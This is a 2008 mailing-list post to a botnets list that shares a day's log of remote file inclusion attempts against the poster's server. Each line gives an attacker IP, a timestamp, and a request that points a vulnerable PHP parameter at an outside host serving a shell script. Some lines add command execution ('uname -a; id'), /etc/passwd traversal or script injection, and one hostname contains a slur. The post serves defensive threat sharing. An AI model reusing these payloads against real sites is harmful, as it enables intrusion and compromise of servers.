Assuming no one complains I plan to post a daily aggregate of URLs used in RFI attempts.
Until I set up the cron job they'll be manually posted. None of these links are checked in any way. Some contain a link to THIS_DOMAIN.tld, this is merely the script catching its own URL thinking it's malware. What follows is today's list: IP,Date,Malware,URI 74.53.96.178,30/Aug/2008:04:01:00 +0200,http://www.teamfatalz.com/rfi/id.txt????,/misc/404.log/phphtml.php?htmlclass_path=http://www.teamfatalz.com/rfi/id.txt???? HTTP/1.1 77.221.130.12,30/Aug/2008:04:03:04 +0200,http://verkoophulp.com/myid.txt???,/misc/404.log/amember/plugins/payment/secpay/secpay.inc.php?config[root_dir]=http://verkoophulp.com/myid.txt??? HTTP/1.1 75.127.70.16,30/Aug/2008:04:03:39 +0200,http://www.tripi-ddl.com/video/mraneti.txt???,/misc/404.log/vwar/includes/functions_install.php//modules/vwar/admin/admin.php?vwar_root=http://www.tripi-ddl.com/video/mraneti.txt??? HTTP/1.1 209.85.5.10,30/Aug/2008:04:04:25 +0200,http://www.ecolnet.org/response.txt????,//administrator/components/com_joomla-visites/core/include/errors.php?error=http://www.ecolnet.org/response.txt???? HTTP/1.1 87.248.163.41,30/Aug/2008:04:04:26 +0200,http://www.ba-sat.com/sunshop/images/products/idd.txt???,//inc/header.php/step_one.php?server_inc=http://www.ba-sat.com/sunshop/images/products/idd.txt??? HTTP/1.1 217.133.215.166,30/Aug/2008:04:04:30 +0200,http://www.alevichat.com/idN.txt??,/misc/404.log//config/dbutil.bck.php?confdir=http://www.alevichat.com/idN.txt?? HTTP/1.1 86.159.76.101,30/Aug/2008:04:07:18 +0200,http://THIS_DOMAIN.tld/,/index.php?http://THIS_DOMAIN.tld/ HTTP/1.1 83.172.148.42,30/Aug/2008:04:07:53 +0200,http://borneo.siteburg.com/id/id.txt??,/misc//administrator/components/com_joomla-visites/core/include/errors.php?error=http://borneo.siteburg.com/id/id.txt?? HTTP/1.1 217.174.241.140,30/Aug/2008:04:08:37 +0200,http://golbaz.net/img/icons/php.txt?,//index.php?option=http://golbaz.net/img/icons/php.txt? HTTP/1.1 62.87.154.41,30/Aug/2008:04:09:10 +0200,http://www.geocities.com/cripya/header.jpg?,//arg.php?arg=http://www.geocities.com/cripya/header.jpg? HTTP/1.1 89.218.85.18,30/Aug/2008:04:09:23 +0200,http://www.marioni.info/alb2??,/misc///errors.php?error=http://www.marioni.info/alb2?? HTTP/1.1 66.118.188.191,30/Aug/2008:04:10:32 +0200,http://rox4ever.t35.com/TT??,/misc/404.log/index.php?body=http://rox4ever.t35.com/TT?? HTTP/1.1 190.172.240.160,30/Aug/2008:04:11:35 +0200,http://h1.ripway.com/vnc2008/id44.txt??,/misc/404.log//inc/header.php/step_one.php?server_inc=http://h1.ripway.com/vnc2008/id44.txt?? HTTP/1.1 200.68.35.77,30/Aug/2008:04:13:42 +0200,http://www.donath.de/files/safeon.txt???,//convert/mvcw.php?step=1&vwar_root=http://www.donath.de/files/safeon.txt??? HTTP/1.1 211.202.2.15,30/Aug/2008:04:14:10 +0200,http://www.ds5vxk.com/board/id.txt??,/misc/404.log/?custompluginfile[]=http://www.ds5vxk.com/board/id.txt?? HTTP/1.1 74.52.169.116,30/Aug/2008:04:14:21 +0200,http://albcrew.t35.com/pw.txt?,/misc/404.log//index.php?name=PNphpBB2&file=posting&mode=quote/index.php?name=PNphpBB2&file=viewtopic&p=34004/viewtopic.php?p=15&sid=be4c914eb746ac7c96beea717fdfc692/&highlight=http://albcrew.t35.com/pw.txt? HTTP/1.1 75.127.70.16,30/Aug/2008:04:14:34 +0200,http://septimamaipu.cl/septima/mambots/idr.txt??,/misc/404.log/vwar/includes/functions_install.php//modules/vwar/admin/admin.php?vwar_root=http://septimamaipu.cl/septima/mambots/idr.txt?? HTTP/1.1 190.81.184.98,30/Aug/2008:04:15:14 +0200,http://ontheribbon.com/micro_cms_files/images/id.txt???,/misc/404.log/?custompluginfile[]=http://ontheribbon.com/micro_cms_files/images/id.txt??? HTTP/1.1 81.248.63.177,30/Aug/2008:04:16:11 +0200,http://kihineh.net/backup/ptid.txt??????,/misc/404.log//weather/hw3.php//hw3.php?daysonly=0).include($_GET[file]).(0&file=http://kihineh.net/backup/ptid.txt?????? HTTP/1.1 75.0.18.81,30/Aug/2008:04:16:14 +0200,http://claroline.saltillo.uvmnet.edu//courses/index/b.txt??,/misc//modules/xfsection/modify.php?dir_module=http://claroline.saltillo.uvmnet.edu//courses/index/b.txt?? HTTP/1.1 66.135.38.88,30/Aug/2008:04:18:19 +0200,http://www.setteb.it/chi.txt??,/misc/404.log/?custompluginfile[]=http://www.setteb.it/chi.txt?? HTTP/1.1 87.101.4.49,30/Aug/2008:04:18:35 +0200,http://www.comehackus.com/backup/idfx.txt???,/?custompluginfile[]=http://www.comehackus.com/backup/idfx.txt??? HTTP/1.1 66.90.109.28,30/Aug/2008:04:20:21 +0200,http://grandmalibby4u.com/galleries/extreme/on.txt?,/misc//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://grandmalibby4u.com/galleries/extreme/on.txt? HTTP/1.1 221.130.201.43,30/Aug/2008:04:20:24 +0200,http://jofchurch.org/calendar//tools//mraneti.txt???,/misc/404.log//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://jofchurch.org/calendar//tools//mraneti.txt??? HTTP/1.1 89.108.66.140,30/Aug/2008:04:21:55 +0200,http://borneo.siteburg.com/dd.txt?,/?custompluginfile[]=http://borneo.siteburg.com/dd.txt? HTTP/1.1 204.15.10.22,30/Aug/2008:04:23:50 +0200,http://www.menaspalace.com/k4m1/rid???,//sunshop/checkout.php?abs_path=http://www.menaspalace.com/k4m1/rid??? HTTP/1.1 211.239.162.41,30/Aug/2008:04:26:09 +0200,http://weblime.ru/seahorse/mambo???,//modules/xfsection/modify.php?dir_module=http://weblime.ru/seahorse/mambo??? HTTP/1.1 211.239.162.41,30/Aug/2008:04:28:24 +0200,http://sunshineruby.com/han/Favorites/%B9C%C0%B8/Games/id.txt???,//modules/xfsection/modify.php?dir_module=http://sunshineruby.com/han/Favorites/%B9C%C0%B8/Games/id.txt??? HTTP/1.1 69.73.182.47,30/Aug/2008:04:31:33 +0200,http://www.herrderringe-net.de/terranova/id.txt??,/misc/404.log/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.herrderringe-net.de/terranova/id.txt?? HTTP/1.1 83.240.164.232,30/Aug/2008:04:32:40 +0200,http://www.sfj.pt/mambo/id22.txt????,/misc/RFI.log/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=http://www.sfj.pt/mambo/id22.txt???? HTTP/1.1 91.186.15.66,30/Aug/2008:04:33:20 +0200,http://www.almeranissan.ru/administrator/components/com_autobb/mambo??,//modules/xfsection/modify.php?dir_module=http://www.almeranissan.ru/administrator/components/com_autobb/mambo?? HTTP/1.1 80.74.146.175,30/Aug/2008:04:34:55 +0200,http://www.ganzkoerperpflege.at/files/oye.txt??,/misc/netcat/htmledit//join.php?DOCUMENT_ROOT=http://www.ganzkoerperpflege.at/files/oye.txt?? HTTP/1.1 66.98.192.98,30/Aug/2008:04:34:58 +0200,http://www.battle-elite.de/be_inside/images/cicons/arab.txt?,/misc/404.log//join.php?DOCUMENT_ROOT=http://www.battle-elite.de/be_inside/images/cicons/arab.txt? HTTP/1.1 213.33.84.163,30/Aug/2008:04:36:28 +0200,http://www.battle-elite.de/be_inside/images/cicons/id2.txt??,/misc/404.log//join.php?DOCUMENT_ROOT=http://www.battle-elite.de/be_inside/images/cicons/id2.txt?? HTTP/1.1 98.130.2.24,30/Aug/2008:04:38:15 +0200,http://www.loblab.com/mgm/vote/include/iddc9.txt????,/components/com_joomlaboard/file_upload.php?sbp=http://www.loblab.com/mgm/vote/include/iddc9.txt???? HTTP/1.1 189.4.27.97,30/Aug/2008:04:40:26 +0200,http://cartoesamor.com/vivo/teste.txt,/index.php?showtopic=http://cartoesamor.com/vivo/teste.txt HTTP/1.1 193.26.13.170,30/Aug/2008:04:40:59 +0200,http://www.tripi-ddl.com/video/mraneti.txt??,/errors.php?error=http://www.tripi-ddl.com/video/mraneti.txt?? HTTP/1.1 195.130.35.104,30/Aug/2008:04:41:56 +0200,http://www.battle-elite.de/be_inside/images/cicons/readme.txt????,//templates/tmpl_dfl/scripts/index.php?dir[inc]=http://www.battle-elite.de/be_inside/images/cicons/readme.txt???? HTTP/1.1 61.19.158.41,30/Aug/2008:04:48:21 +0200,http://freewebs.com/brutusman/id.txt????,/misc//modules/xfsection/modify.php?dir_module=http://freewebs.com/brutusman/id.txt???? HTTP/1.1 217.198.149.178,30/Aug/2008:04:53:42 +0200,http://whatswhere.org/img/wiki/id.txt??,/misc//plugins/safehtml/safehtml.php?dir[plugins]=http://whatswhere.org/img/wiki/id.txt?? HTTP/1.1 217.198.149.178,30/Aug/2008:04:53:45 +0200,http://bestofipl.com/backup/IDID.txt??,/misc//plugins/safehtml/safehtml.php?dir[plugins]=http://bestofipl.com/backup/IDID.txt?? HTTP/1.1 202.228.204.130,30/Aug/2008:04:53:57 +0200,http://trymallo.com/images/12-cmd.txt?,//modules/xfsection/modify.php?dir_module=http://trymallo.com/images/12-cmd.txt? HTTP/1.1 189.47.246.26,30/Aug/2008:04:54:19 +0200,http://www.hardsecurity.org/br.txt?,/index.php?var1=http://www.hardsecurity.org/br.txt? HTTP/1.1 82.136.23.161,30/Aug/2008:04:55:37 +0200,http://www.severo-zapad.ru/i/Admin/id.txt???,/misc//plugins/safehtml/safehtml.php?dir[plugins]=http://www.severo-zapad.ru/i/Admin/id.txt??? HTTP/1.1 66.70.14.90,30/Aug/2008:04:57:25 +0200,http://localweddingplace.com/data/readme?,/misc/includes/todofleetcontrol.php?xnova_root_path=http://localweddingplace.com/data/readme? HTTP/1.1 67.19.192.212,30/Aug/2008:05:03:04 +0200,http://genthal.com/data/alb.txt???,/misc/includes/todofleetcontrol.php?xnova_root_path=http://genthal.com/data/alb.txt??? HTTP/1.1 70.84.193.130,30/Aug/2008:05:07:59 +0200,http://www.hotelsunflower.it/modules/rhs/idv6.txt???,/misc/404.log//book.php5?page=http://www.hotelsunflower.it/modules/rhs/idv6.txt??? HTTP/1.1 200.49.100.20,30/Aug/2008:05:08:10 +0200,http://veldink.com/mine/lajelid.txt???,/misc/404.log//bookmark4u/lostpasswd.php?env%5Binclude_prefix%5D=http://veldink.com/mine/lajelid.txt??? HTTP/1.1 200.25.180.198,30/Aug/2008:05:11:05 +0200,http://www.fileden.com/files/2008/6/19/1967132/id.txt????,/misc/404.log/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://www.fileden.com/files/2008/6/19/1967132/id.txt???? HTTP/1.1 65.98.60.170,30/Aug/2008:05:14:44 +0200,http://www.chianh.com/yhoc/id.txt???,/misc/404.log//?mosConfig_absolute_path=http://www.chianh.com/yhoc/id.txt??? HTTP/1.1 195.22.94.70,30/Aug/2008:05:16:48 +0200,http://www.asirmt.org//components/com_extcalendar/upload/id.txt??%0D??,/misc/404.log//?mosConfig_absolute_path=http://www.asirmt.org//components/com_extcalendar/upload/id.txt??%0D?? HTTP/1.1 67.71.123.118,30/Aug/2008:05:21:29 +0200,http://amyru.h18.ru/images/cs.txt?,/index.php?showtopic=http://amyru.h18.ru/images/cs.txt? HTTP/1.1 66.103.152.151,30/Aug/2008:05:27:03 +0200,http://ploplop123.x10hosting.com/rfi/id.txt???,/misc/404.log//?custompluginfile[]=http://ploplop123.x10hosting.com/rfi/id.txt??? HTTP/1.1 64.159.77.76,30/Aug/2008:05:29:18 +0200,http://h1.ripway.com/vnc2008/idr0x.txt???,/misc/?custompluginfile[]=http://h1.ripway.com/vnc2008/idr0x.txt??? HTTP/1.1 64.159.77.76,30/Aug/2008:05:30:13 +0200,http://h1.ripway.com/vnc2008/idnew.txt???,/misc/404.log/?custompluginfile[]=http://h1.ripway.com/vnc2008/idnew.txt??? HTTP/1.1 189.2.215.130,30/Aug/2008:05:39:09 +0200,http://www.ogoid.xpg.com.br/inboxx.txt?,/index.php?var1=http://www.ogoid.xpg.com.br/inboxx.txt? HTTP/1.1 86.8.36.229,30/Aug/2008:05:54:56 +0200,http://www.THIS_DOMAIN.tld/,/index.php?http://www.THIS_DOMAIN.tld/ HTTP/1.1 61.115.228.131,30/Aug/2008:05:58:01 +0200,http://cell-depot.com/hack-id.txt?,/misc/404.log//?path%5Bdocroot%5D=http://cell-depot.com/hack-id.txt? HTTP/1.1 194.109.22.118,30/Aug/2008:06:13:32 +0200,http://www.kx-td.com/images/bo.do???,/misc/404.log/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=http://www.kx-td.com/images/bo.do??? HTTP/1.1 62.210.139.66,30/Aug/2008:06:16:07 +0200,http://monicaperalta.com.ar/principal//components/com_simpleboard/README??,//index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://monicaperalta.com.ar/principal//components/com_simpleboard/README?? HTTP/1.1 207.224.31.233,30/Aug/2008:06:24:47 +0200,http://www.villaconsuls.com/xbox/id.txt????,/misc/components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=http://www.villaconsuls.com/xbox/id.txt???? HTTP/1.1 163.19.117.1,30/Aug/2008:06:33:49 +0200,http://magickalforest.com//includes/v6.txt%0D?,///include.php?path[docroot]=http://magickalforest.com//includes/v6.txt%0D? HTTP/1.1 85.17.6.7,30/Aug/2008:06:35:37 +0200,http://jofchurch.org/calendar//tools/mraneti.txt????,/misc/404.log//option,com_sitemap/Itemid,73/component/option,com_sitemap/Itemid,50/component/option,com_sitemap/Itemid,53//component/option,com_sitemap/Itemid,79//components/com_sitemap/sitemap.php?mosConfig_admin_path=http://jofchurch.org/calendar//tools/mraneti.txt???? HTTP/1.1 85.17.6.7,30/Aug/2008:06:35:38 +0200,http://www.tripi-ddl.com/video/mraneti.txt?,/misc/404.log//option,com_sitemap/Itemid,73/component/option,com_sitemap/Itemid,50/component/option,com_sitemap/Itemid,53//component/option,com_sitemap/Itemid,79//components/com_sitemap/sitemap.php?mosConfig_admin_path=http://www.tripi-ddl.com/video/mraneti.txt? HTTP/1.1 38.117.65.239,30/Aug/2008:06:42:46 +0200,http://titureddo.altervista.org/vacanze/pinogino.txt?,//galeria.php?start=0&kategoria=http://titureddo.altervista.org/vacanze/pinogino.txt? HTTP/1.1 218.38.54.160,30/Aug/2008:06:46:24 +0200,http://www.bapeda-jabar.go.id/bapeda_design/assets/images/gallery/warta.gif?,/misc/404.log/phphtml.php?htmlclass_path=http://www.bapeda-jabar.go.id/bapeda_design/assets/images/gallery/warta.gif? HTTP/1.1 78.157.11.27,30/Aug/2008:06:49:18 +0200,http://www.t2k.ru/fireballcmdtest.txt?&cmd??,/index.php?showtopic=http://www.t2k.ru/fireballcmdtest.txt?&cmd?? HTTP/1.1 75.126.60.130,30/Aug/2008:06:56:04 +0200,http://www.freewebs.com/lostmind7/idv6.txt???,/misc//?custompluginfile[]=http://www.freewebs.com/lostmind7/idv6.txt??? HTTP/1.1 74.50.106.226,30/Aug/2008:06:58:07 +0200,http://www.gugn.ru/news/data/archives/readme.txt?%0D??,/misc/404.log//?custompluginfile[]=http://www.gugn.ru/news/data/archives/readme.txt?%0D?? HTTP/1.1 81.9.63.18,30/Aug/2008:06:58:53 +0200,http://www.gugn.ru/news/data/archives/readme.txt???,/misc/404.log//?custompluginfile[]=http://www.gugn.ru/news/data/archives/readme.txt??? HTTP/1.1 89.218.85.18,30/Aug/2008:06:59:47 +0200,http://acc-advertising.com/img/safe.txt??,/misc/phphtml.php?htmlclass_path=http://acc-advertising.com/img/safe.txt?? HTTP/1.1 62.149.232.117,30/Aug/2008:07:19:42 +0200,http://medicalpolymer.co.kr/phpMyAdmin/libraries/auth/id.txt??,/pagina.php?n=http://medicalpolymer.co.kr/phpMyAdmin/libraries/auth/id.txt?? HTTP/1.1 200.49.100.20,30/Aug/2008:07:28:08 +0200,http://veldink.com/leqi/id.txt??,/misc/404.log//index.php?_REQUEST=&_REQUEST[option]=option,com_comprofiler&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://veldink.com/leqi/id.txt?? HTTP/1.1 220.73.137.93,30/Aug/2008:07:30:05 +0200,http://artemcity.ru/r0x.txt??,/misc/404.log//convert/mvcw.php?step=1&vwar_root=http://artemcity.ru/r0x.txt?? HTTP/1.1 147.102.106.10,30/Aug/2008:07:31:57 +0200,http://manu.freeunlimitedweb.com/id.gif???,/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://manu.freeunlimitedweb.com/id.gif??? HTTP/1.1 66.249.66.112,30/Aug/2008:07:34:15 +0200,http://lockdown.dajoob.com/java%20script:document.location='http://nigger.dajoob.com/f103.html,/lofiversion/index.php/'http://lockdown.dajoob.com/java%20script:document.location='http://nigger.dajoob.com/f103.html HTTP/1.1 59.106.19.213,30/Aug/2008:07:36:34 +0200,http://outsourcing.in.ua/data/apteka/.log/idscan9??,/misc/404.log/?custompluginfile[]=http://outsourcing.in.ua/data/apteka/.log/idscan9?? HTTP/1.1 74.52.137.82,30/Aug/2008:07:36:46 +0200,http://www.worldbeatgolf.com/cache/bo.do???,/misc/404.log/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.worldbeatgolf.com/cache/bo.do??? HTTP/1.1 218.189.215.152,30/Aug/2008:07:40:38 +0200,http://www.topyn.com/ips.txt?,/misc/404.log//convert/mvcw.php?step=1&vwar_root=http://www.topyn.com/ips.txt? HTTP/1.0 118.107.163.229,30/Aug/2008:07:43:26 +0200,http://www.hepsiindirimli.com/var/skins_repository/default_green/tumbs.jpg/boo.do???,/misc/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.hepsiindirimli.com/var/skins_repository/default_green/tumbs.jpg/boo.do??? HTTP/1.1 66.98.192.98,30/Aug/2008:07:48:04 +0200,http://www.mta.cl/guestbook.txt????,/misc/404.log/components/com_chronocontact/excelwriter/OLE.php?mosConfig_absolute_path=http://www.mta.cl/guestbook.txt???? HTTP/1.1 89.218.85.18,30/Aug/2008:07:48:04 +0200,http://vefhonnun.xnet.is/reikningar/users/2004684659/id.txt????,/gallery.php?option=http://vefhonnun.xnet.is/reikningar/users/2004684659/id.txt???? HTTP/1.1 80.67.19.125,30/Aug/2008:07:48:53 +0200,http://www.asirmt.org//components/com_extcalendar/upload/id.txt????,/misc//?custompluginfile[]=http://www.asirmt.org//components/com_extcalendar/upload/id.txt???? HTTP/1.1 72.52.142.99,30/Aug/2008:07:52:53 +0200,http://www.mta.cl/guestbook.txt?????????,/misc/404.log/components/com_chronocontact/excelwriter/OLE.php?mosConfig_absolute_path=http://www.mta.cl/guestbook.txt????????? HTTP/1.1 209.51.140.58,30/Aug/2008:08:11:44 +0200,http://www.topyn.com/bajo.txt?????,/misc/404.log/convert/mvcw.php?vwar_root=http://www.topyn.com/bajo.txt????? HTTP/1.1 74.50.119.126,30/Aug/2008:08:12:52 +0200,http://indocairo.net/id.txt??,/misc/404.log////?custompluginfile%5B%5D=http://indocairo.net/id.txt?? HTTP/1.1 61.19.158.41,30/Aug/2008:08:16:07 +0200,http://septimamaipu.cl/septima/mambots/idxx.txt?????,/misc//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://septimamaipu.cl/septima/mambots/idxx.txt????? HTTP/1.1 77.88.192.8,30/Aug/2008:08:16:40 +0200,http://www.hepsiindirimli.com/var/skins_repository/default_green/tumbs.jpg/echo?,/misc/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.hepsiindirimli.com/var/skins_repository/default_green/tumbs.jpg/echo? HTTP/1.1 81.9.63.18,30/Aug/2008:08:17:37 +0200,http://www.muhtaroglu.com.tr/bo.do???,//components/com_performs/components/components/com_joomlalib/standalone/stubjambo.php?phpbb_root_path=http://www.muhtaroglu.com.tr/bo.do??? HTTP/1.1 151.11.24.250,30/Aug/2008:08:20:57 +0200,http://www.fullscores.com/mambots/poll/osid6.txt??,/misc/404.log//include/admin.lib.inc.php?site_path=http://www.fullscores.com/mambots/poll/osid6.txt?? HTTP/1.1 74.50.119.126,30/Aug/2008:08:39:05 +0200,http://zuppl.de/documents/id2.txt??,/misc/404.log////?custompluginfile%5B%5D=http://zuppl.de/documents/id2.txt?? HTTP/1.1 217.128.122.28,30/Aug/2008:08:40:18 +0200,http://www.ballettschule-tulln.at/htaccess/t.txt???,/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.ballettschule-tulln.at/htaccess/t.txt??? HTTP/1.1 64.20.53.210,30/Aug/2008:08:42:31 +0200,http://www.desperate-souls.com/templates/portax/images/media/bunokx.txt???,/misc/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.desperate-souls.com/templates/portax/images/media/bunokx.txt??? HTTP/1.1 89.111.176.116,30/Aug/2008:08:45:04 +0200,http://www.sos-booterz.net/files/id2.txt??,/misc/404.log/?custompluginfile[]=http://www.sos-booterz.net/files/id2.txt?? HTTP/1.1 65.98.70.18,30/Aug/2008:08:50:45 +0200,http://www.topyn.com/ips.txt??,/misc/404.log/convert/mvcw.php?vwar_root=http://www.topyn.com/ips.txt?? HTTP/1.1 207.58.137.81,30/Aug/2008:08:56:19 +0200,http://www.wichtl.at/files/echo?,/misc/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=http://www.wichtl.at/files/echo? HTTP/1.1 66.147.239.184,30/Aug/2008:09:02:34 +0200,http://www.alpenverein-bb.de/touren/id.txt??,/misc/404.log//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://www.alpenverein-bb.de/touren/id.txt?? HTTP/1.1 89.97.229.104,30/Aug/2008:09:07:19 +0200,http://purearcade.com/id.txt?,/misc/modules/xfsection/modify.php?dir_module=http://purearcade.com/id.txt? HTTP/1.1 67.15.80.42,30/Aug/2008:09:15:58 +0200,http://lipuu.com/tool/chid.txt???,/misc/?custompluginfile[]=http://lipuu.com/tool/chid.txt??? HTTP/1.1 213.171.199.67,30/Aug/2008:09:18:19 +0200,http://www.pic-rating.com/raw.txt?,/?mosConfig_absolute_path=http://www.pic-rating.com/raw.txt? HTTP/1.1 125.24.70.185,30/Aug/2008:09:23:40 +0200,http://www.ballettschule-tulln.at/htaccess/romid.txt???,//config/dbutil.bck.php?confdir=http://www.ballettschule-tulln.at/htaccess/romid.txt??? HTTP/1.1 200.14.46.18,30/Aug/2008:09:26:35 +0200,http://www.yayang.co.uk/ml/id.txt?,/index.php?showtopic=10/protection.php?action=logout&siteurl=http://www.yayang.co.uk/ml/id.txt? HTTP/1.1 66.221.91.28,30/Aug/2008:09:27:20 +0200,http://www.sfj.pt/mambo/id2.txt????,/misc/404.log//administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://www.sfj.pt/mambo/id2.txt???? HTTP/1.0 89.111.176.47,30/Aug/2008:09:29:20 +0200,http://dj-kelly.com/guestbook////log/idscan9???,/misc/404.log/?custompluginfile[]=http://dj-kelly.com/guestbook////log/idscan9??? HTTP/1.1 118.107.163.229,30/Aug/2008:09:29:21 +0200,http://giam.go.ro/id.txt??,/misc/404.log/config.php?path_to_root=http://giam.go.ro/id.txt?? HTTP/1.1 87.105.234.214,30/Aug/2008:10:14:15 +0200,http://galeria.lodz.linuxstorm.org/~damianus/botek.txt?&cmd=uname%20-a;%20id,/index.php?showtopic=http://galeria.lodz.linuxstorm.org/~damianus/botek.txt?&cmd=uname%20-a;%20id HTTP/1.1 118.107.163.229,30/Aug/2008:10:21:55 +0200,http://www.myboso.com/echo???,/misc/RFI.log//components/com_performs/components/components/com_joomlalib/standalone/stubjambo.php?phpbb_root_path=http://www.myboso.com/echo??? HTTP/1.1 118.107.163.229,30/Aug/2008:10:26:12 +0200,http://www.ghareng.com/alat/echo.txt??,//components/com_performs/components/components/com_joomlalib/standalone/stubjambo.php?phpbb_root_path=http://www.ghareng.com/alat/echo.txt?? HTTP/1.1 207.218.219.221,30/Aug/2008:10:32:11 +0200,http://hades.pdg.pl/VooTools/wabik.txt??????????,/index.php?showtopic=http://hades.pdg.pl/VooTools/wabik.txt?????????? HTTP/1.0 89.218.85.18,30/Aug/2008:10:39:55 +0200,http://vefhonnun.xnet.is/reikningar/users/1102783579/id.txt???,/misc/404.log/index2.php?pg=http://vefhonnun.xnet.is/reikningar/users/1102783579/id.txt??? HTTP/1.1 201.17.129.24,30/Aug/2008:10:47:07 +0200,http://pepp0z.interfree.it/id.txt??,/misc/404.log//admin/business_inc/saveserver.php?thisdir=http://pepp0z.interfree.it/id.txt?? HTTP/1.1 67.205.111.117,30/Aug/2008:10:54:39 +0200,http://www.geoduck.org/cache/cmd7.gif??,/misc/errors.php?error=http://www.geoduck.org/cache/cmd7.gif?? HTTP/1.1 78.129.138.76,30/Aug/2008:10:55:22 +0200,http://secret-admirer.info/scan/id.txt???,/misc/404.log/errors.php?error=http://secret-admirer.info/scan/id.txt??? HTTP/1.1 208.106.1.198,30/Aug/2008:11:01:50 +0200,http://www.spices.res.in/biotraineeship.txt?,//bookmark4u/lostpasswd.php?env%5Binclude_prefix%5D=http://www.spices.res.in/biotraineeship.txt? HTTP/1.1 69.93.116.170,30/Aug/2008:11:02:29 +0200,http://www.codeduc.cl/components/id.txt???,/misc/404.log//vwar//convert/mvcw.php?step=1&vwar_root=http://www.codeduc.cl/components/id.txt??? HTTP/1.1 147.202.44.247,30/Aug/2008:11:03:29 +0200,http://asc01.extra.hu/id.txt??,/misc/404.log/errors.php?error=http://asc01.extra.hu/id.txt?? HTTP/1.1 78.129.138.76,30/Aug/2008:11:05:00 +0200,http://locoputo1234.100webspace.net/bots/ids.txt?????,/misc/404.log///vwar/backup/errors.php?error=http://locoputo1234.100webspace.net/bots/ids.txt????? HTTP/1.1 67.205.111.117,30/Aug/2008:11:05:04 +0200,http://septimamaipu.cl/septima/mambots/idv6.txt???,///vwar/backup/errors.php?error=http://septimamaipu.cl/septima/mambots/idv6.txt??? HTTP/1.1 69.94.70.15,30/Aug/2008:11:05:44 +0200,http://kosherkash.net/public/lol.txt?,/misc/404.log/phphtml.php?htmlclass_path=http://kosherkash.net/public/lol.txt? HTTP/1.1 69.94.70.15,30/Aug/2008:11:08:01 +0200,http://kosherkash.net/public/id.txt???,/misc//?path%5Bdocroot%5D=http://kosherkash.net/public/id.txt??? HTTP/1.1 89.208.43.121,30/Aug/2008:11:08:59 +0200,http://www.happily.co.il/hpp/administrator/components/com_chronocontact/safe1.txt???,/misc/404.log//modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=http://www.happily.co.il/hpp/administrator/components/com_chronocontact/safe1.txt??? HTTP/1.1 70.87.240.50,30/Aug/2008:11:09:47 +0200,http://www.myboso.com/echo.txt??,/misc/404.log//PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://www.myboso.com/echo.txt?? HTTP/1.1 194.79.66.105,30/Aug/2008:11:17:35 +0200,http://clan.gotr00t.net/temp//index.css??,//bookmark4u/lostpasswd.php?env[include_prefix]=http://clan.gotr00t.net/temp//index.css?? HTTP/1.1 64.72.112.223,30/Aug/2008:11:18:02 +0200,http://newproductionweb.altervista.org/contrm.txt??,//includes/db_adodb.php?baseDir=http://newproductionweb.altervista.org/contrm.txt?? HTTP/1.1 65.254.61.170,30/Aug/2008:11:19:33 +0200,http://clan.gotr00t.net/temp//style.css??,//faqsupport/samplefaqsupport.php?path[docroot]=http://clan.gotr00t.net/temp//style.css?? HTTP/1.1 87.230.10.231,30/Aug/2008:11:21:43 +0200,http://www.psgpoland.com//cmstest/id2.txt??,/misc/404.log/?sourcedir=http://www.psgpoland.com//cmstest/id2.txt?? HTTP/1.1 69.64.34.172,30/Aug/2008:11:22:00 +0200,http://h1.ripway.com/sayankann/bot/id.txt???,/misc/404.log///vwar/backup/errors.php?error=http://h1.ripway.com/sayankann/bot/id.txt??? HTTP/1.1 69.64.34.172,30/Aug/2008:11:28:11 +0200,http://h1.ripway.com/sayankann/bot/cmd.txt???,/misc/404.log/?custompluginfile[]=http://h1.ripway.com/sayankann/bot/cmd.txt??? HTTP/1.1 89.111.176.116,30/Aug/2008:11:35:48 +0200,http://www.sos-booterz.net/files/id2.txt?,/misc/404.log//vwar//convert/mvcw.php?step=1&vwar_root=http://www.sos-booterz.net/files/id2.txt? HTTP/1.1 75.126.60.130,30/Aug/2008:11:47:06 +0200,http://naparstki.pl/mediagallery//maint/idv6.txt%0D??,/misc/404.log/?sourcedir=http://naparstki.pl/mediagallery//maint/idv6.txt%0D?? HTTP/1.1 59.126.46.141,30/Aug/2008:11:50:50 +0200,http://aceperform.siteburg.com/id.txt???,/misc/hw3.php?daysonly=0).include($_GET[file]).(0&file=http://aceperform.siteburg.com/id.txt??? HTTP/1.1 77.221.130.3,30/Aug/2008:11:56:19 +0200,http://websnap.ru//wp-content/uploads/on.txt?,/misc/404.log/?custompluginfile[]=http://websnap.ru//wp-content/uploads/on.txt? HTTP/1.1 66.197.130.133,30/Aug/2008:11:57:31 +0200,http://www.21stcenturywoman.com/new/images/echo?,/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://www.21stcenturywoman.com/new/images/echo? HTTP/1.1 71.245.171.108,30/Aug/2008:12:10:22 +0200,http://pepp0z.interfree.it/id.txt??../../../../../../../../../../../../../etc/passwd%00,/http://pepp0z.interfree.it/id.txt??../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1 _______________________________________________ botnets@, the public's dumping ground for maliciousness All list and server information are public and available to law enforcement upon request. http://www.whitestar.linuxbox.org/mailman/listinfo/botnets
